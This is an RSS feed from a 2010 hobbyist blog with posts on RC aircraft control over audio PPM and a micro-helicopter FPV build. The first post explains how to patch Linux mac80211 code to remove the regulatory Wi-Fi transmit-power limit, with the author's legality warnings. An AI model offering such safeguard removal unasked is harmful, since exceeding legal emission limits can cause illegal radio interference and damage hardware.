<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>insecure</title>
	<atom:link href="http://www.insecure.ws/feed" rel="self" type="application/rss+xml" />
	<link>http://www.insecure.ws</link>
	<description></description>
	<lastBuildDate>Wed, 21 Jul 2010 23:45:22 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Wifi cards txpower, Linux, mac80211 and regulations</title>
		<link>http://www.insecure.ws/2010/06/05/wifi-cards-txpower-linux-mac80211-and-regulations</link>
		<comments>http://www.insecure.ws/2010/06/05/wifi-cards-txpower-linux-mac80211-and-regulations#comments</comments>
		<pubDate>Sat, 05 Jun 2010 00:39:10 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[80211]]></category>
		<category><![CDATA[alfa]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[power]]></category>
		<category><![CDATA[regulation]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=238</guid>
		<description><![CDATA[So you just got a new 500mW wifi card, like this mighty Alfa Networks AWUS036H. However, you cannot use the most recent Linux driver with it, because your power is limited to 20db (100mW). You just get a nasty: Error for wireless request "Set Tx Power" (8B26) : SET failed on device blah0; Invalid argument. [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" title="Wifi" src="http://insecure.ws/wp/wp-content/uploads/HLIC/df294eeb5289867282859133fa7e7ef1.jpg" alt="" width="180" height="193" /></p>
<p>So you just got a new 500mW wifi card, like this mighty Alfa Networks AWUS036H.</p>
<p>However, you cannot use the most recent Linux driver with it, because your power is limited to 20db (100mW).<br />
You just get a nasty:</p>
<pre>Error for wireless request "Set Tx Power" (8B26) :
    SET failed on device blah0; Invalid argument.
</pre>
<p>You must use an old kernel, or revert to pretty old drivers which aren&#8217;t really stable. Setting the regulatory domain to your country does not seems to work, somehow, the device tells your kernel that your maximum transmit power just cannot exceed 20db. How annoying isn&#8217;t it?</p>
<p>And kind of dumb, when you live in a country where higher power is allowed, or you&#8217;ve got a license, or you&#8217;ve got a license and use the chipset in raw packet mode for non-wifi activities (oh, guess why I&#8217;m saying that!).</p>
<p>Anyway, make sure that using a higher power is legal for you, and if you are, as I could not find any direction how to do this, well, here&#8217;s how to override the protection. Note that while you&#8217;re doing this AT YOUR OWN RISK and there is NO WARRANTY this will work, or kill your card or is legal for you, I pretty much hate when they decide to block features by software.</p>
<p>Pretty much against what I would call the free software spirit, but hey, let&#8217;s not discuss that.</p>
<p>Code modifications after the jump.</p>
<p><span id="more-238"></span>Get the latest Linux kernel for your distribution, or just a vanilla kernel from <a href="http://www.kernel.org">http://www.kernel.org</a>. I use 2.6.34, which is currently latest stable. Newer kernel might have different structures, code, etc.</p>
<p>Unpack it, and follow your distribution&#8217;s instructions and how to compile it, and make it boot. When it works properly, you can start modifying.</p>
<pre>Edit file: net/mac80211/cfg.c</pre>
<p>This file handles the card&#8217;s configuration and interfacing with iwconfig.</p>
<p>Look for the function ieee80211_set_tx_power, and in the case TX_POWER_FIXED, you&#8217;ll see a check, if requested dbm value is higher than channel max power, it returns EINVAL (Invalid Argument). Just comment that return -EINVAL out.</p>
<p>That allow the iwconfig command to work when you set the power higher than 20db.</p>
<pre>Edit file: net/mac80211/main.c</pre>
<p>This file is, well, the main mac80211 file alright?</p>
<p>Look for the function ieee80211_hw_config . This function is called after the code in the cfg.c file we&#8217;ve just edited. Somewhere you will find a check, if local user power level is higher than 0 (aka, if you&#8217;re trying to set your own power level), it will set the power to whatever is the minimum value between the maximum allowed power and your local power. You can see that just above, when it assigns chan-&gt;max_power to power, or max_power &#8211; power_constr_level.</p>
<p>Simply replace it to always take your local power. So like that:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//power = min(power, local-&gt;user_power_level);</span>
power <span style="color: #339933;">=</span> local<span style="color: #339933;">-&gt;</span>user_power_level<span style="color: #339933;">;</span></pre></div></div>

<p>Now just save and compile. rmmod mac80211 and insmod net/mac80211/mac80211.ko and try !</p>
<p>It should work. You can also replace your original .ko (kernel extension) by the one you&#8217;ve just created.</p>
<p>A last word of warning, do not exceed your device maximum manufacturer power rating. You have just removed the safe-guard completely, and you may burn your device. And finally, remember to only use a power level that is legal in your area.</p>
<p>Have fun.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/06/05/wifi-cards-txpower-linux-mac80211-and-regulations/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Control RC aircrafts from your computer.. even if you use Windows</title>
		<link>http://www.insecure.ws/2010/03/19/control-rc-aircrafts-from-your-computer-even-if-you-use-windows</link>
		<comments>http://www.insecure.ws/2010/03/19/control-rc-aircrafts-from-your-computer-even-if-you-use-windows#comments</comments>
		<pubDate>Fri, 19 Mar 2010 02:40:35 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[Tech]]></category>
		<category><![CDATA[audio]]></category>
		<category><![CDATA[ppm]]></category>
		<category><![CDATA[rc]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=230</guid>
		<description><![CDATA[If you&#8217;ve read my previous article about controlling your little planes and helis via your computer for, basically free, well, here&#8217;s a quick Windows port of the program. You can get the initial version here: Audio PPM 0.1. The source code is here (it&#8217;s not really cleaned up, but it&#8217;s there!) Audio PPM src 0.1. [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://insecure.ws/wp/wp-content/uploads/2010/03/ppm.png"><img class="size-thumbnail wp-image-232 alignleft" title="ppm" src="http://insecure.ws/wp/wp-content/uploads/2010/03/ppm-150x77.png" alt="" width="150" height="77" /></a></p>
<p>If you&#8217;ve read my previous <a href="http://www.insecure.ws/2010/03/09/control-rc-aircrafts-from-your-computer-for-0">article </a>about controlling your little planes and helis via your computer for, basically free, well, here&#8217;s a quick Windows port of the program.</p>
<p>You can get the initial version here: <a href="http://www.insecure.ws/warehouse/PPM/AudioPPM-0.1.zip">Audio PPM 0.1</a>.</p>
<p>The source code is here (it&#8217;s not really cleaned up, but it&#8217;s there!) <a href="http://www.insecure.ws/warehouse/PPM/AudioPPM-0.1-src.rar">Audio PPM src 0.1</a>.</p>
<p>You&#8217;ll also need the <a href="http://slimdx.googlecode.com/files/SlimDX%20Runtime%20%28February%202010%29.msi">SlimDX libraries</a>.</p>
<p>This version does not currently interleave stereo audio channels, but can still spit out 192 steps on HD audio. Seems plenty enough to control your stuff and have fun !</p>
<p>In fact, even on good old AC&#8217;97 and 96 steps it seems to be very decent.</p>
<p>Please note that no other sound should be coming out of your speakers when you use this program.. quite logical anyway. Read the included README (and LICENSE(s) while you&#8217;re at it) for more information.</p>
<p>Please also note that this application has been made using Visual Studio Express 2010 beta, and this might possible cause troubles for the runtime. I&#8217;ll download and rebuild it using Visual Studio Express 2008 in the next version.</p>
<p>The few things I encountered while coding this application:</p>
<p>- WaveOut buffer and timing management sucks, but it works when you sort it out</p>
<p>- DirectSound latency is horrible</p>
<p>-XAudio2 is almost decent.. well.. I&#8217;m using it.</p>
<p>- ASIO drivers have an annoying license and annoying to adapt the interface.. thus they&#8217;re not used!</p>
<p>-No idea if you can use the XACT audio support without the XNA stuff.</p>
<p>-DirectInput, sharp opposite of DirectSound is a little piece of Win.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/03/19/control-rc-aircrafts-from-your-computer-even-if-you-use-windows/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Control RC aircrafts from your computer.. for 0$</title>
		<link>http://www.insecure.ws/2010/03/09/control-rc-aircrafts-from-your-computer-for-0</link>
		<comments>http://www.insecure.ws/2010/03/09/control-rc-aircrafts-from-your-computer-for-0#comments</comments>
		<pubDate>Tue, 09 Mar 2010 20:14:24 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=220</guid>
		<description><![CDATA[I got interested recently into some USB to PPM devices and related devices, that let you generate PPM signal from your computer. What&#8217;s PPM (Pulse Position Modulation) you say? That&#8217;s a more or less standard signal many RC Radios output for &#8220;buddy boxing&#8221; for example. This means one RC Radio controls the other one. Chances [...]]]></description>
			<content:encoded><![CDATA[<p>I got interested recently into some USB to PPM devices and related devices, that let you generate PPM signal from your computer. What&#8217;s <a href="http://en.wikipedia.org/wiki/Pulse-position_modulation">PPM </a>(Pulse Position Modulation) you say? That&#8217;s a more or less standard signal many RC Radios output for &#8220;buddy boxing&#8221; for example.</p>
<p>This means one RC Radio controls the other one. Chances are that you also use it, when you plug your RC Radio on your computer to fly your simulator.</p>
<p>These devices are expensive. However, a PPM signal can travel very well over an audio channel at high rate and high precision.</p>
<p>I first proposed this solution on a well known RC forum, where I got a usual warm reception &#8220;it can&#8217;t work&#8221;. Somehow, as a weak human I decided they know better and left it out.</p>
<p>Few weeks later, I got myself one of these <a href="http://www.flytron.com/56-compufly-usbtoppm-converter.html">USB2PPM </a>cable for $1 as part as a cheap developer program. However this cable cannot yet work on my <a href="http://www.spektrumrc.com/Products/Default.aspx?ProdID=SPM2710">Spektrum DX7</a> due to a different PPM signal. I notified the author so this might be fixed. <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>However, it was a good occasion for my PPM over audio idea to re-surface. You know, this kind of: &#8220;but of course it&#8217;s going to work, what was I thinking?!&#8221;. I thus bring to you a small open source PPM generator, that should work with most RC Radios and computers and will cost you nothing.</p>
<h2><span id="more-220"></span>Requirements</h2>
<p>- An RC Radio with a trainer port supporting PPM (I use a Spektrum DX7)</p>
<p>- A mono or stereo audio cable male-male or stereo/mono male plugs</p>
<p>- A pair of hands and preferably 10 fingers (your own will do.)</p>
<h2>Plugs</h2>
<p>While this is UNTESTED with other than Spektrum radios, this should work for your own radio, if you&#8217;re willing to solder and program a little bit.  So DO THIS AT YOUR OWN RISKS. Now that you&#8217;re warned, let&#8217;s go..</p>
<p>I&#8217;ll link several times to the excellent <a href="http://www.smartpropoplus.com">SmartPropoPlus</a>, which does just the opposite of what we&#8217;re going here, sending PPM from the RC Radio to the computer using an audio cable. (In case you did not get it yet, we send PPM from the computer to the RC Radio instead).</p>
<p><strong>Spektrum/JR </strong>(Easiest, if you don&#8217;t feel like you need to protect your sound card you can use a regular stereo or mono male-male wire &#8211; i&#8217;m doing just that!):</p>
<p><a href="http://www.smartpropoplus.com/dnn/Hardware/Spektrum/tabid/94/Default.aspx">http://www.smartpropoplus.com/dnn/Hardware/Spektrum/tabid/94/Default.aspx</a></p>
<p><strong>Futaba Square:</strong></p>
<p><a href="http://www.smartpropoplus.com/dnn/Hardware/FutabaRect/tabid/75/Default.aspx">http://www.smartpropoplus.com/dnn/Hardware/FutabaRect/tabid/75/Default.aspx</a></p>
<p><strong>Others:</strong></p>
<p><a href="http://www.smartpropoplus.com/dnn/Hardware/tabid/57/Default.aspx">http://www.smartpropoplus.com/dnn/Hardware/tabid/57/Default.aspx</a></p>
<p>Please note that PCM probably works very well too, but you&#8217;ll need to modify the program, I don&#8217;t have a PCM Radio yet. We&#8217;re only dealing with PPM today!</p>
<h2>The Spektrum DX7 PPM signal</h2>
<p>The PPM frame is 22.5 milliseconds.</p>
<p>It starts with a PPM &#8220;stop&#8221;, negative signal of 0.4 milliseconds.</p>
<p>Each channel (8 channels, no matter how many the transmitter supports) is a positive signal of 0.7 milliseconds to 1.5 milliseconds. This means, 0.7 milliseconds is &#8220;full left&#8221; servo position, 1.5 milliseconds is &#8220;full right&#8221; servo position and 1.1 milliseconds is &#8220;middle&#8221; or neutral position (default stick position, except for throttle).</p>
<p>Channels are:</p>
<ol>
<li>Throttle</li>
<li>Ailerons</li>
<li>Vertical stabilizer</li>
<li>Rudder</li>
<li>Aux2 or Gear</li>
<li>Aux2 or Gear</li>
<li>Usually a mix</li>
<li>Unused on the DX7</li>
</ol>
<p>After a channel signal, a 0.4 millisecond &#8220;stop&#8221; is inserted.</p>
<p>Once all channels and stop have been stored into the PPM frame, a leading &#8220;blank&#8221; (flat signal) is inserted so that the complete signal is 22.5 milliseconds (so the size of the flat signal depends on servos positions, that&#8217;s why it&#8217;s calculated at the end.. even if its put at the start of the signal).</p>
<p>The amplitude is important. It depends on your sound card. In reality, it&#8217;s 1.3volts. If the amplitude is incorrect, the Spektrum DX7 just won&#8217;t understand the PPM signal!</p>
<p><a href="http://insecure.ws/wp/wp-content/uploads/2010/03/ppm_dx7.png"><img class="aligncenter size-full wp-image-225" title="ppm_dx7" src="http://insecure.ws/wp/wp-content/uploads/2010/03/ppm_dx7.png" alt="ppm dx7" width="995" height="198" /></a></p>
<h2>Program</h2>
<p>Currently, this is only a Linux program using ALSA as audio output. This is basically a demo program.</p>
<p>You&#8217;ll need pygtk, gtk, alsa-lib, pyalsaaudio to run the program.<br />
Please excuse the code, it&#8217;s only used as a working proof of concept, and may help you code your own!<br />
Here is the PPM generation extract only:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Licensed under the terms of the GPL version 3.</span>
<span style="color: #808080; font-style: italic;"># http://www.gnu.org/licenses/gpl-3.0.html</span>
<span style="color: #808080; font-style: italic;"># Copyright kang@insecure.ws</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">class</span> GenSignal:
	<span style="color: #dc143c;">signal</span> = <span style="color: #483d8b;">&quot;&quot;</span>
	duration = <span style="color: #ff4500;">0.0225</span> <span style="color: #808080; font-style: italic;"># seconds</span>
	mmdiv = <span style="color: #ff4500;">4.4</span> <span style="color: #808080; font-style: italic;">#0.1ms</span>
	samplerate = <span style="color: #ff4500;">44100</span> <span style="color: #808080; font-style: italic;"># Hz</span>
	samples = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span>duration<span style="color: #66cc66;">*</span>samplerate<span style="color: black;">&#41;</span> <span style="color: #808080; font-style: italic;">#992.25 - python rounds up but its ok, our signal is still way more precise than others</span>
<span style="color: #808080; font-style: italic;">#	amplitude = 32760 #max volume.. change it for your sound card or it wont work.</span>
	amplitude = <span style="color: #ff4500;">20262</span>
&nbsp;
	channels = <span style="color: black;">&#123;</span><span style="color: #ff4500;">1</span>: <span style="color: #ff4500;">0.0</span>, <span style="color: #808080; font-style: italic;">#throttle</span>
		<span style="color: #ff4500;">2</span>: <span style="color: #ff4500;">0.0</span>,
		<span style="color: #ff4500;">3</span>: <span style="color: #ff4500;">0.0</span>,
		<span style="color: #ff4500;">4</span>: <span style="color: #ff4500;">0.0</span>,
		<span style="color: #ff4500;">5</span>: <span style="color: #ff4500;">0.0</span>,
		<span style="color: #ff4500;">6</span>: <span style="color: #ff4500;">0.0</span>,
		<span style="color: #ff4500;">7</span>: <span style="color: #ff4500;">0.0</span>,
		<span style="color: #ff4500;">8</span>: <span style="color: #ff4500;">0.0</span>,
	<span style="color: black;">&#125;</span>
&nbsp;
	<span style="color: #ff7700;font-weight:bold;">def</span> generate<span style="color: black;">&#40;</span><span style="color: #008000;">self</span><span style="color: black;">&#41;</span>:
		clist = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
		<span style="color: #808080; font-style: italic;">#start with a stop</span>
		clist += <span style="color: black;">&#91;</span>-<span style="color: #008000;">self</span>.<span style="color: black;">amplitude</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">*</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">mmdiv</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>
		<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">self</span>.<span style="color: black;">channels</span>:
			<span style="color: #808080; font-style: italic;">#ppm base (0.7ms)</span>
			clist += <span style="color: black;">&#91;</span><span style="color: #008000;">self</span>.<span style="color: black;">amplitude</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">*</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">mmdiv</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">7</span><span style="color: black;">&#41;</span>
			<span style="color: #808080; font-style: italic;">#ppm signal (on spektrum, its from 0.7ms to 1.5ms max)</span>
			servo = <span style="color: #008000;">self</span>.<span style="color: black;">channels</span><span style="color: black;">&#91;</span>i<span style="color: black;">&#93;</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">0.75</span>/<span style="color: #ff4500;">100</span>
			<span style="color: #dc143c;">signal</span> = <span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">mmdiv</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">10</span><span style="color: black;">&#41;</span><span style="color: #66cc66;">*</span>servo
			clist += <span style="color: black;">&#91;</span><span style="color: #008000;">self</span>.<span style="color: black;">amplitude</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">*</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span> <span style="color: #dc143c;">signal</span> <span style="color: black;">&#41;</span>
			<span style="color: #808080; font-style: italic;">#on spektrum, the stop is fixed size</span>
			clist += <span style="color: black;">&#91;</span>-<span style="color: #008000;">self</span>.<span style="color: black;">amplitude</span><span style="color: black;">&#93;</span><span style="color: #66cc66;">*</span><span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">self</span>.<span style="color: black;">mmdiv</span><span style="color: #66cc66;">*</span><span style="color: #ff4500;">4</span><span style="color: black;">&#41;</span>
&nbsp;
		<span style="color: #808080; font-style: italic;">#complete the ppm signal with a starting null signal that fill in the 22.5ms frame (here f.ex 992 self.samples)</span>
		<span style="color: #008000;">list</span> = <span style="color: black;">&#91;</span><span style="color: black;">&#93;</span>
		<span style="color: #ff7700;font-weight:bold;">for</span> i <span style="color: #ff7700;font-weight:bold;">in</span> <span style="color: #008000;">range</span><span style="color: black;">&#40;</span><span style="color: #ff4500;">0</span>, <span style="color: #008000;">self</span>.<span style="color: black;">samples</span>-<span style="color: #008000;">len</span><span style="color: black;">&#40;</span>clist<span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>:
			<span style="color: #008000;">list</span> += <span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>
&nbsp;
		<span style="color: #808080; font-style: italic;">#add our ppm channels</span>
		<span style="color: #008000;">list</span> += clist
&nbsp;
		s=pack<span style="color: black;">&#40;</span><span style="color: #483d8b;">'&amp;lt;'</span>+<span style="color: #008000;">self</span>.<span style="color: black;">samples</span><span style="color: #66cc66;">*</span><span style="color: #483d8b;">'l'</span>,<span style="color: #66cc66;">*</span><span style="color: #008000;">list</span><span style="color: black;">&#41;</span>
		<span style="color: #808080; font-style: italic;">#s is a raw PCM/wav signal, you can save it to wave or send it over PCM compatible interfaces, like ALSA (not to confuse with RC PCM, similar but different.)</span></pre></div></div>

<p>The full program is available here (again, Linux only!):<br />
<a href="http://www.insecure.ws/warehouse/PPM/ppm.tar.bz2">http://www.insecure.ws/warehouse/PPM/ppm.tar.bz2</a></p>
<h2>Future</h2>
<p>I plan to port this program to Windows (in fact, it might become Windows only for a while as my video capture USB stick has only Windows drivers and I can&#8217;t be bothered to reverse them on Linux. Then I can fly my stuff using a joystick while looking at the video feed <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Feel free to make your own program tho. I&#8217;ll appreciate if there&#8217;s a mention of where you got the idea from <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' /> </p>
<p>The Windows program will interface with Windows joysticks so you can use your joystick to control your RC aircraft. With luck, someone will improve it later to support PCM and maybe trims/mixing. I do not currently plan to implement it as my Spektrum DX7 takes care of this (P-LINK mode), but I might upon request.</p>
<h2>Video demo</h2>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/7cxfqJqHYpQ&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/7cxfqJqHYpQ&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://www.insecure.ws/2010/03/09/control-rc-aircrafts-from-your-computer-for-0/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Ultra micro video controlled heli (Blade mSR)</title>
		<link>http://www.insecure.ws/2010/02/25/ultra-micro-video-controlled-heli-blade-msr</link>
		<comments>http://www.insecure.ws/2010/02/25/ultra-micro-video-controlled-heli-blade-msr#comments</comments>
		<pubDate>Thu, 25 Feb 2010 16:30:22 +0000</pubDate>
		<dc:creator>kang</dc:creator>
				<category><![CDATA[FPV]]></category>
		<category><![CDATA[blade msr]]></category>
		<category><![CDATA[helicopter]]></category>
		<category><![CDATA[micro]]></category>
		<category><![CDATA[rc]]></category>

		<guid isPermaLink="false">http://www.insecure.ws/?p=202</guid>
		<description><![CDATA[E-Flite&#8217;s Blade mSR is a micro helicopter, using high-end 2.4ghz Spektrum radios. It is a fixed pitch helicopter, mean there&#8217;s only one rotor and a real tail motor (like a real helicopter), and it does not allow for 3D maneuvers. Unlike co-axials (2 motors and double blade main rotor), it is very precise. However, thanks [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone" title="Blade mSR from Eflite" src="http://insecure.ws/wp/wp-content/uploads/HLIC/5d47d57124e628354830197fe7b4fe48.jpg" alt="" width="224" height="224" />E-Flite&#8217;s <a href="http://www.horizonhobby.com/Products/Default.aspx?ProdID=EFLH3000">Blade mSR</a> is a micro helicopter, using high-end 2.4ghz Spektrum radios. It is a fixed pitch helicopter, mean there&#8217;s only one rotor and a real tail motor (like a real helicopter), and it does not allow for 3D maneuvers.</p>
<p>Unlike co-axials (2 motors and double blade main rotor), it is very precise. However, thanks to the integrated gyroscope and original head design (fly bar orientation) it is also very stable. Impressively stable for such a tiny helicopter in fact.</p>
<p>In short, a perfect platform for experimenting a micro remote video controlled heli <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>This heli can be remote controlled within approximately 300 to 800 meters, although the battery will probably empty before you reach that.. <img src='http://insecure.ws/wp/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  (technically, it could further, but in practice it depends a lot on your flying field)</p>
<div class="wp-caption aligncenter" style="width: 394px"><strong><em><strong><em><img class=" " title="the beast" src="http://insecure.ws/wp/wp-content/uploads/HLIC/465b65f402bf3e4ac7e61281a5a39fce.jpg" alt="" width="384" height="288" /></em></strong></em></strong><p class="wp-caption-text">The beast</p></div>
<p><span id="more-202"></span></p>
<h1>Indoor video at night</h1>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/aQ8xWrR0ESU&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/aQ8xWrR0ESU&amp;hl=en_US&amp;fs=1&amp;" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<h1>The helicopter</h1>
<p>You can get the Blade mSR at most RC hobby shops for around 120 to 160 USD including battery and charger (including or not the RC transmitter, depending on the version: RTF has the transmitter, BNF does not).</p>
<pre>Size: 19 cm long
Weight: 28 gr
Flight time: 8 min</pre>
<p>While it&#8217;s extremely crash resistant (go-straight-in-the-wall-at-max-speed-and-keep-flying kind of resistant), this helicopter has one design issue. The rear motor cap is popping off easily after a few crashes, even very light ones. Due to the small size, you will eventually crash.</p>
<p>This is easily solved by tapping the rear of the motor cap, I recommend elastic electric tape (black if possible, so its invisible). Stretch it and secure the rear of the tail rotor. Note that some push the propeller  fully into the motor axis to protect it. In my experience the tape has been more reliable.</p>
<div class="wp-caption alignnone" style="width: 394px"><img title="msr cap" src="http://insecure.ws/wp/wp-content/uploads/HLIC/cbeae1cf0441ebba4eb2107aa3da519f.jpg" alt="Motor cap all fixed up!" width="384" height="288" /><p class="wp-caption-text">Motor cap all fixed up!</p></div>
<p>Fly it until you get conformable with it, and you can hover without too much movement.</p>
<p>It is best (but not required), if the heli also stays stationary when changing heading (turning on itself). This will not work by default. You need an advanced RC transmitter, and change the mixing between the rudder (tail rotor) and ailerons/stab (main rotor). This can be done with a Spektrum DX7, DX6i, DX8 or DX10T, or JR x9303/9305, 11x, 12x for example.</p>
<p>The RTF transmitter will not allow this. The more stable the heli is, the easier video piloting will be.</p>
<h1>The (video) equipment</h1>
<p>The video equipment I use weights a grand 4.9 gr. Following this is a list of what you need to get (note that you can of course use different components, but this is what I used.</p>
<p>To this day it is unlikely that you find anything better or much cheaper) . Most of it will need to be imported (shipping adds a bit to the price) from whatever country they&#8217;re selling it.</p>
<p>I tried to link the products to the same companies to minimize shipping costs, however sometimes it is slightly cheaper to order elsewhere. In some other cases, there&#8217;s just no other company selling these!</p>
<p>- <a href="http://flytron.com/54-fc-420-25gr-submicro-fpv-camera.html">Flytron FC420 CMOS 420TVL camera</a> (62.00 USD)</p>
<p>- <a href="http://www.fpvhobby.com/52-480-tvl-33-6v-pal-camera.html">Cheaper 480 TVL alternative</a> (59.00 USD)</p>
<p>- <a href="http://www.dpcav.com/xcart/product.php?productid=16413&amp;cat=249&amp;page=1">Airwave 5.8Ghz 25mW compact video transmitter</a> (20.49 USD)</p>
<p>- <a href="http://www.dpcav.com/xcart/product.php?productid=16424&amp;cat=249&amp;page=1">Airwave 5.8Ghz video receiver with patch antenna</a> (79.95 USD)</p>
<p>- <a href="http://hobbycity.com/hobbyking/store/uh_viewItem.asp?idProduct=9727">HobbyKing micro-JST HX plugs</a> (1.99 USD) Get many of those, like 20, because they break easily.</p>
<p>- <a href="http://hobbycity.com/hobbyking/store/uh_viewItem.asp?idProduct=7565&amp;Product_Name=ZIPPY_50mAh_20C_single_cell__">HobbyKing 50mah 20C zippy batteries</a> (1.99 USD) Get a few of these, like 2 or 3 at least so you don&#8217;t have to wait too long between flights, and if you break one.. well at this price, just have some spare you know.</p>
<p>- <a href="http://www.hyperion-europe.com/products/product/HP-LG325-0130-1S-UM">Hyperion G3 CX 130mah 25C batteries</a> (6.90 EUR) Likewise, get a few of those. Probably 4 at least.</p>
<p>- <a href="http://www.dpcav.com/xcart/product.php?productid=16471&amp;cat=256&amp;page=1">A 3S battery of 1000 mah</a> (16.95 USD), or more for the video receiver, with e.g. a JST plug</p>
<p>- <a href="http://www.dpcav.com/xcart/product.php?productid=16437&amp;cat=103&amp;page=4">A 3S battery monitor</a> (6.99USD) (to avoid depleting the receiver battery, it would destroy the battery)</p>
<p>- <a href="http://www.dpcav.com/xcart/product.php?productid=16406&amp;cat=103&amp;page=3">A JST to barrel plug</a> (6.49 USD) (to connect the battery to the receiver)</p>
<p>- A charger for the 3s battery (There are so many, a good choice could be the Turnigy Accucel 6 from HobbyKing, but even a tiny $15 3S charger works)</p>
<p><em>Note that you can just use a wall plug of 9-12V for the receiver instead of the battery+monitor+JST/barrel stuff, but then it means you can&#8217;t use your things outside/on the go.</em></p>
<p>- An <a href="http://www.dpcav.com/xcart/product.php?productid=16378&amp;cat=103&amp;page=1">EasyCap USB capture stick</a> (23.95 USD) (this is not required, it let you view/record the video on your PC if you do not have RCA/Composite input, or other viewing equipement (like a TV with these inputs!) )</p>
<p><strong>Approximate grand total:</strong> 220 USD excluding the heli (120-165 USD additional)</p>
<p>The costs might be lower if you already own some of the components. For me it&#8217;s just been the camera and airwave missing (so 82 USD). This sounds like much but it is actually cheap for this area of the RC hobby.  Rc-tech.ch sells a similar setup with lower quality and range, for 400 USD for example.</p>
<p>Things to get from your local store (or that you might have already):</p>
<p>- Some soldering iron (small if possible), soldering tin (again, small, like 1mm diameter)</p>
<p>- Some electric tape, small electric wires (between 0.5 and 0.9mm diameter)</p>
<p>- Some shrink tubing (2mm diameter approx). You might also use electric tape instead. its lighter, too.</p>
<p>- some single core wire, for the antenna, it needs to be rigid enough that it can hold straight in the air (see the RC receiver copper antenna in the mSR? something like that is good!)</p>
<p>- Scissors, squeezers, forceps etc.</p>
<p>- Multimeter (not required, but useful for checking everything is ok)</p>
<h1>Assembly</h1>
<p>This is quite easy, really. Be careful to discharge your static electricity (touch something grounded, like a metallic heating, or your PC case).</p>
